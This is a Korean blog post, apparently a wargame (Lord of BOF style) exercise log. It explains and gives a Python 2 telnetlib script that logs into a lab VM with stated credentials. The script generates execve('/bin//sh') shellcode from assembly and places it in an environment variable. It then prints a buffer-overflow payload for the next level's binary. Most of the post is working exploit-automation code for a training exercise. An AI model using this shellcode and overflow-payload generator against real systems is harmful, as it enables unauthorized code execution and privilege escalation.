이것도 그냥 손으로 풀어보니까 대충 이해가서 프로그래밍적으로 다 해주는거 만들려다가
페이로드 출력까지 하고 끝.... 기왕이면 쉘까지 실행시켜보고 싶었지만 그게 되지를 않는다.....
gdb를 알아서 분석해서 스택크기 계산하는 그런것도 자동화 시켜보려고 했는데 그건 오바일듯;
1. execve의 시스템 콜 번호를 /usr/include/asm/unistd.h에서 가져옴.
2. 가져온 시스템 콜 번호로 어셈블리어를 짠 후 objdump까지 완료한 결과값을 obj라는 파일에 넣음.
3. obj에서 정규표현식으로 opcode부분만을 공백으로 잘 연결해서 shells라는 파일에 넣음.
4. shells파일에서 opcode를 잘 가져와서 문자열로 잘 캐스팅 후 shell이라는 환경변수로 등록함.
5. 환경변수의 주소값을 가져오는 프로그래밍을 컴파일 후 실행시켜서 shell환경변수의 주소값을가져옴.
6. 가져온 shell환경변수의 주소값으로 페이로드를 만들어서 출력함.
# -*- encoding: cp949 -*- import telnetlib, re tn = telnetlib.Telnet("192.168.253.135") tn.read_until("login: ") tn.write('gremlin\n') tn.read_until("Password: ") tn.write("hello bof world\n") #텔넷에 접속해서 /usr/include/asm/unistd.h에서 execve의 시스템 콜 번호를 가져온다. #가져온 시스템 콜 번호로 어셈블리 코드를 짠다. tn.write(""" echo '#!/usr/bin/python import re,os str = open("/usr/include/asm/unistd.h","r") lines = str.readlines() for s in lines: try: answer = int(re.findall("execve\s+(\d+)",s)[0]) except: pass asm =\"\"\".global _start _start: xor %eax, %eax xor %edx, %edx push %eax #null push $0x68732f2f #//sh push $0x6e69622f #/bin mov %esp, %ebx #/bin//sh문자열의 주소저장 push %edx push %ebx mov %esp, %ecx movb $0x\"\"\"+"%x" %answer+\"\"\", %al #0x0B==11로 execve의 시스템 콜 번호. int $0x80\"\"\" print asm ' > execve.py """) tn.write("python execve.py > sh.s\n") tn.write("as -o sh.o sh.s\n") tn.write("ld -o sh sh.o\n") tn.write("objdump -d sh > obj\n") #어셈블리 코드를 실행시켜서 objdump -d결과를 obj라는 파일에 집어넣는다. #obj라는 파일에서 정규표현식으로 OPcode부분만 가져와서 한 문자열로 잇는다. #이은 문자열을 shells라는 파일에 넣는다.(90 90 90 90 80~이런식으로 shells에 들어가있음.) tn.write(""" echo '#!/usr/bin/python import re,string,os answer = "" str = open("obj","r") lines = str.readlines() for s in lines: try: answer = answer + re.findall("[0-9a-z]+:\s+(.*?)\s+[a-z]+\s+[\%\$]",s)[0]+" " except: pass answer = hex(144)*20+" "+answer answer = string.rstrip(answer) answer = string.replace(answer,"0x"," ") print answer ' > shellcode """) tn.write("python shellcode > shells\n") #shells라는 파일을 열어서 한문자씩 가져온 후 그걸 다시 char*형으로 캐스팅 해서 sh배열에 넣고, #출력한 결과를 shell환경변수의 값으로 등록한다. (export shell=`./shellcode`) tn.write(""" echo '#include <stdio.h> int main() { FILE *fp = fopen("shells","r"); int hex[1000],i; char sh[1000]; i=0; while(!feof(fp)) { fscanf(fp,"%x",&hex[i]); sh[i]=(char*)hex[i]; i++; } printf("%s",sh); return 0; } ' > shellcode.c """) tn.write("gcc -o shellcode shellcode.c\n") tn.write("export shell=`./shellcode`\n") #환경변수의 주소값을 가져오는 프로그래밍을 하고 컴파일 후 #shell환경변수의 주소값을 가져와서 그 결과값을 add라는 파일에 넣는다. tn.write(""" echo '#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { printf("address = %p\n",getenv(argv[1])); return 0; } ' > env.c """) tn.write("gcc -o env env.c\n") tn.write("./env shell > add\n") #add라는 파일을 열어서 주소부분만 가져온 후 \x로 주소 관련 페이로드부분을 만든다. #그후 결과값을 다시 address파일에 저장한다. tn.write(""" echo 'import re str = open("add","r") lines = str.readlines() for s in lines: try: str = re.findall("address = 0x(.*)",s)[0] except: pass address = "" for i in range(len(str)-2,-1,-2): address = address+"\\x"+str[i:i+2] print address ' > address.py """) tn.write("python address.py > address\n") #address라는 파일을 열어서 페이로드 글자를 하나하나 만들고 출력한다. tn.write(""" echo "#include <stdio.h> #include <stdlib.h> #include <string.h> int main() { FILE *fp = fopen(\\\"address\\\",\\\"r\\\"); int hex[1000],i; char sh[1000]; char sys[100]=\\\"./cobolt \\`python -c 'print \\\\\\"a\\\\\\"*20+\\\\\\"\\\"; char end[100]=\\\"\\\\\\"'\\`\\\"; fgets(sh,1000,fp); sh[strlen(sh)-1]='\\0'; strcat(sys,sh); strcat(sys,end); printf(\\\"%s\\\\n\\\",sys); return 0; } " > payload.c """) tn.write("gcc -o payload payload.c\n") tn.write("./payload\n") tn.interact()
'Python > 2.7 simple coding(+ c++)' 카테고리의 다른 글
WeChall Training: Net Ports, Can you read me (0) | 2015.01.05 |
---|---|
WeChall Training: Programming 1, Flow Over Astronomy (0) | 2015.01.04 |
Security Override Programming 11~12 (0) | 2014.12.23 |
Security Override Programming 10 (0) | 2014.12.18 |
Security Override Programming 9 (0) | 2014.12.18 |